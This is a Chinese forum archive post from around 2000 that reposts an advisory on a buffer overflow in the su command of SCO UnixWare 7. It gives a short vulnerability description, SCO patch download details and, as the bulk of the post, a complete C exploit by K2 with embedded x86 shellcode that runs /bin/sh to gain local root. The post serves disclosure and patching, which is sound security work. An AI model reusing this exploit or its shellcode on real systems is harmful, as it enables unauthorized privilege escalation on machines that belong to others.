精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>SCO UnixWare 7 的su命令漏洞

主题:SCO UnixWare 7 的su命令漏洞
发信人: [email protected]()
整理人: williamlong(2000-03-16 13:05:59), 站内信件

SCO UnixWare 7 的su命令漏洞

漏洞类型:本地
发布日期:1999-11-26
更新日期:1999-11-26
漏洞描述:
SCO UnixWare 2.1.3, UnixWare 7.0.0 through 7.1.1的su命令在进行用户名(
via argv[1])处理时没有进行适当的边界检查,因此当使用一个超长的用户名时
产生了溢出。
检验程序:
Exploit (by K2):
// UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[])
{
register int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
else
nop = NOPDEF;
esp = get_esp();
memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4)
*((int *) &buffer[i]) = esp+offset;
printf("offset = [0x%x]\n",esp+offset);
execl("/usr/bin/su", "su", buffer, NULL);
printf("exec failed!\n");
return 0;
}
解决办法:
SCO提供一个临时的补丁。SSE039包括了每个系统类型的一个替换程序,可以使用
匿名用户在internet上下载。可以按如下方法下载SSE补丁包:
匿名ftp (World Wide Web URL):
ftp://ftp.sco.COM/SSE/sse039.ltr (cover letter, ASCII text)
ftp://ftp.sco.COM/SSE/sse039.tar.Z (new binaries, compressed tar file
)
Checksums (sum -r):
01787 3 sse039.ltr
53627 555 sse039.tar.Z

--
欢迎大家常来回合策略  宗教信仰坐坐。
欢迎光临
魔法师学院http://wwwmagic.126.com
    
*    *    *    *    *
       
无挂碍故无有恐怖
                --
DOS--
                                      

※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.245.25]

[关闭][返回]